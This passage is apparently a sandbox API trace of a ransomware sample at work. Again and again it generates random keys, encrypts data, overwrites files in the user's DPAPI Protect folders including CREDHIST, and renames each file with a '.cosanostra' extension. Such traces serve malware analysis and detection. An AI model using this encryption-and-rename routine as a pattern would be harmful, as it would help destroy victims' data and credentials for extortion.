liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.275] WriteFile (in: hFile=0x180, lpBuffer=0x251f1c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f184, lpOverlapped=0x0 | out: lpBuffer=0x251f1c4*, lpNumberOfBytesWritten=0x251f184*=0x4, lpOverlapped=0x0) returned 1 [0099.275] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f184, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f184*=0x30, lpOverlapped=0x0) returned 1 [0099.275] CloseHandle (hObject=0x180) returned 1 [0099.275] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d.cosanostra") returned 162 [0099.275] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d.cosanostra")) returned 1 [0099.277] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1c0 | out: pbBuffer=0x251f1c0) returned 1 [0099.277] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1b8*=0x30) returned 1 [0099.277] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.278] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2") returned 151 [0099.278] StrStrW (lpFirst="102a7bc8-3f85-4bb4-840a-38257d2965d2", lpSrch=".txt") returned 0x0 [0099.279] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.279] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1d4, lpNumberOfBytesWritten=0x251f17c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f17c*=0x1d4, lpOverlapped=0x0) returned 1 [0099.279] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.279] WriteFile (in: hFile=0x180, lpBuffer=0x251f1bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f17c, lpOverlapped=0x0 | out: lpBuffer=0x251f1bc*, lpNumberOfBytesWritten=0x251f17c*=0x4, lpOverlapped=0x0) returned 1 [0099.279] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f17c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f17c*=0x30, lpOverlapped=0x0) returned 1 [0099.279] CloseHandle (hObject=0x180) returned 1 [0099.280] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2.cosanostra") returned 162 [0099.280] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2.cosanostra")) returned 1 [0099.281] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1c0 | out: pbBuffer=0x251f1c0) returned 1 [0099.281] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1b8*=0x30) returned 1 [0099.281] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.284] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c") returned 151 [0099.284] StrStrW (lpFirst="0e15476d-d8fe-46ca-8099-ebdcf80f637c", lpSrch=".txt") returned 0x0 [0099.285] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.285] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1d4, lpNumberOfBytesWritten=0x251f17c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f17c*=0x1d4, lpOverlapped=0x0) returned 1 [0099.285] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.285] WriteFile (in: hFile=0x180, lpBuffer=0x251f1bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f17c, lpOverlapped=0x0 | out: lpBuffer=0x251f1bc*, lpNumberOfBytesWritten=0x251f17c*=0x4, lpOverlapped=0x0) returned 1 [0099.286] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f17c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f17c*=0x30, lpOverlapped=0x0) returned 1 [0099.286] CloseHandle (hObject=0x180) returned 1 [0099.286] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c.cosanostra") returned 162 [0099.286] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c.cosanostra")) returned 1 [0099.287] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1b8 | out: pbBuffer=0x251f1b8) returned 1 [0099.287] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1b0*=0x30) returned 1 [0099.287] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.289] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c") returned 151 [0099.289] StrStrW (lpFirst="02540a10-7eb7-4b20-a8c7-470f8986389c", lpSrch=".txt") returned 0x0 [0099.290] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.290] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1d4, lpNumberOfBytesWritten=0x251f174, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f174*=0x1d4, lpOverlapped=0x0) returned 1 [0099.290] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.290] WriteFile (in: hFile=0x180, lpBuffer=0x251f1b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f174, lpOverlapped=0x0 | out: lpBuffer=0x251f1b4*, lpNumberOfBytesWritten=0x251f174*=0x4, lpOverlapped=0x0) returned 1 [0099.290] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f174, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f174*=0x30, lpOverlapped=0x0) returned 1 [0099.290] CloseHandle (hObject=0x180) returned 1 [0099.290] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c.cosanostra") returned 162 [0099.290] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c.cosanostra")) returned 1 [0099.292] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1b8 | out: pbBuffer=0x251f1b8) returned 1 [0099.292] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1b0*=0x30) returned 1 [0099.292] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.292] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1b0 | out: pbBuffer=0x251f1b0) returned 1 [0099.292] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1a8*=0x30) returned 1 [0099.292] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.294] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1a8 | out: pbBuffer=0x251f1a8) returned 1 [0099.294] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1a0*=0x30) returned 1 [0099.294] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.295] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred") returned 123 [0099.295] StrStrW (lpFirst="Preferred", lpSrch=".txt") returned 0x0 [0099.296] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.296] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x251f164, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f164*=0x18, lpOverlapped=0x0) returned 1 [0099.296] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.296] WriteFile (in: hFile=0x180, lpBuffer=0x251f1a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f164, lpOverlapped=0x0 | out: lpBuffer=0x251f1a4*, lpNumberOfBytesWritten=0x251f164*=0x4, lpOverlapped=0x0) returned 1 [0099.296] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f164, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f164*=0x30, lpOverlapped=0x0) returned 1 [0099.296] CloseHandle (hObject=0x180) returned 1 [0099.296] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred.cosanostra") returned 134 [0099.296] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred.cosanostra")) returned 1 [0099.297] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1a8 | out: pbBuffer=0x251f1a8) returned 1 [0099.297] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1a0*=0x30) returned 1 [0099.297] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.298] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 150 [0099.298] StrStrW (lpFirst="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpSrch=".txt") returned 0x0 [0099.299] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.299] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1d4, lpNumberOfBytesWritten=0x251f164, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f164*=0x1d4, lpOverlapped=0x0) returned 1 [0099.299] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.299] WriteFile (in: hFile=0x180, lpBuffer=0x251f1a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f164, lpOverlapped=0x0 | out: lpBuffer=0x251f1a4*, lpNumberOfBytesWritten=0x251f164*=0x4, lpOverlapped=0x0) returned 1 [0099.299] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f164, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f164*=0x30, lpOverlapped=0x0) returned 1 [0099.299] CloseHandle (hObject=0x180) returned 1 [0099.300] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9.cosanostra") returned 161 [0099.300] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9.cosanostra")) returned 1 [0099.300] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1a0 | out: pbBuffer=0x251f1a0) returned 1 [0099.300] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f198*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f198*=0x30) returned 1 [0099.301] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.301] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1a0 | out: pbBuffer=0x251f1a0) returned 1 [0099.301] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f198*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f198*=0x30) returned 1 [0099.301] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.301] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f198 | out: pbBuffer=0x251f198) returned 1 [0099.301] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f190*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f190*=0x30) returned 1 [0099.301] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\credhist"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.303] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 76 [0099.303] StrStrW (lpFirst="CREDHIST", lpSrch=".txt") returned 0x0 [0099.304] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff58, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.304] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xa8, lpNumberOfBytesWritten=0x251f154, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f154*=0xa8, lpOverlapped=0x0) returned 1 [0099.304] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.304] WriteFile (in: hFile=0x180, lpBuffer=0x251f194*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f154, lpOverlapped=0x0 | out: lpBuffer=0x251f194*, lpNumberOfBytesWritten=0x251f154*=0x4, lpOverlapped=0x0) returned 1 [0099.305] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f154, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f154*=0x30, lpOverlapped=0x0) returned 1 [0099.305] CloseHandle (hObject=0x180) returned 1 [0099.305] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.cosanostra") returned 87 [0099.305] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\credhist"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\credhist.cosanostra")) returned 1 [0099.306] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f198 | out: pbBuffer=0x251f198) returned 1 [0099.306] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f190*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f190*=0x30) returned 1 [0099.306] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\.." (normalized: 